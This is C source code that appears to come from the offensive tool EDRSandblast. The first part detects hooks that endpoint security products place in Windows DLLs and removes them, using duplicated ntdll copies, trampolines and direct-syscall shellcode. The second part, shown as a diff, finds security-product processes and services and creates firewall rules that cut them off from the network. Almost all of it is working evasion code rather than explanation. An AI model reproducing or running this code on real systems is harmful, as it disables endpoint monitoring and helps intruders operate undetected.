for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Dumps the full content of a single file, in a newly allocated buffer
*/
PBYTE readFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(hook* hook, DWORD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
diff* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
diff patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
diff lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
{
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
DWORD oldProtect;
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PBYTE pShellcode = shellcode;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD syscallNumber = 0;
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
for (int i = 0; i < 0x10; i++ , scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
if (syscallNumber != 0) {
//syscall number found !
}
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
else {
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
exit(EXIT_FAILURE);
}
*((DWORD*)(&shellcode[1])) = syscallNumber;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
#if !_WIN64
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
exit(EXIT_FAILURE);
#else
break;
}
#endif
default:
printf("Unhook method does not exist, exiting...");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(destination, &mbi, sizeof(mbi));
if (mbi.State != MEM_COMMIT) {
return NULL;
}
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
hook* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
hook* hooksList = calloc(hookListSize, sizeof(hook));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
else {
hooksFoundInLastModule = FALSE;
}
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
if (NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
continue;
}
PE* diskDLL = PE_create(disk_dllContent, FALSE);
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf(" ");
}
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (hooksList == NULL) {
debugf("realloc failed\n");
exit(1);
}
}
printf("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (NULL == hooksList) {
printf("realloc failed\n");
exit(1);
}
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf("Looking for %s trampoline ...\n", h->functionName);
for (diff* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf("\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf("\tTRAMPOLINE NOT FOUND !\n");
}
}
+451
View File
@@ -0,0 +1,451 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#include "../EDRSandblast.h"
#include "Firewalling.h"
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
HRESULT hrStatus = S_OK;
// Create the Firewall blocking rules.
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
return 1;
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
}
}
return hrStatus;
}
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
PROCESSENTRY32 pe32;
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
HANDLE hProcess = INVALID_HANDLE_VALUE;
TCHAR binaryPath[MAX_PATH];
DWORD szBinaryPath = _countof(binaryPath);
fwBinaryRules* slistNewFWEntry = NULL;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
goto cleanup;
}
do {
if (pe32.th32ProcessID == 0) {
continue;
}
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
continue;
}
szBinaryPath = _countof(binaryPath);
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
CloseHandle(hProcess);
continue;
}
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
}
CloseHandle(hProcess);
hProcess = INVALID_HANDLE_VALUE;
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
cleanup:
if (hProcessSnap != INVALID_HANDLE_VALUE) {
CloseHandle(hProcessSnap);
}
if (hProcess != INVALID_HANDLE_VALUE) {
CloseHandle(hProcess);
}
return -1;
}
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
SC_HANDLE hSCManager = NULL;
SC_HANDLE hService = NULL;
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
TCHAR serviceBinaryPath[MAX_PATH];
TCHAR serviceBinaryPathCopy[MAX_PATH];
DWORD lpServicesCount = 0;
DWORD dwByteCount = 0, dwBytesNeeded = 0;
DWORD dwError = 0;
BOOL returnValue;
fwBinaryRules* slistNewFWEntry = NULL;
// Open an handle on the Service Control Manager.
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
if (!hSCManager) {
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
return 1;
}
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
do {
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
dwByteCount = dwByteCount + dwBytesNeeded;
lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
if (!lpServices) {
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
goto cleanup;
}
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_MORE_DATA);
if (dwError != ERROR_SUCCESS) {
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
goto cleanup;
}
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
dwByteCount = 0;
dwBytesNeeded = 0;
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
if (!hService) {
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
continue;
}
do {
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
if (!lpServiceConfig) {
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
goto cleanup;
}
dwByteCount = dwBytesNeeded;
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
if (dwError != 0) {
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
continue;
}
// If binary path is empty, skip service.
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
continue;
}
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
// replace \SystemRoot\ with %systemroot%\
TCHAR* prefix = TEXT("\\SystemRoot\\");
SIZE_T prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
serviceBinaryPathCopy[0] = '%';
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
serviceBinaryPathCopy[prefix_len - 1] = '%';
}
// Remove \\??\\
prefix = TEXT("\\??\\");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
}
// insert %systemroot%\ before system32\
prefix = TEXT("system32");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
SIZE_T new_prefix_len = _tcslen(new_prefix);
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
}
// Remove double quotes (replace "xxxxx" with xxxxx).
TCHAR * positionSpace = NULL;
if (serviceBinaryPathCopy[0] == '"') {
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
positionSecondQuote[-1] = '\0';
}
else
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
*positionSpace = '\0';
}
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
if (!returnValue) {
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
goto cleanup;
}
// check if resulting path is a file, and if it's not missing its extension
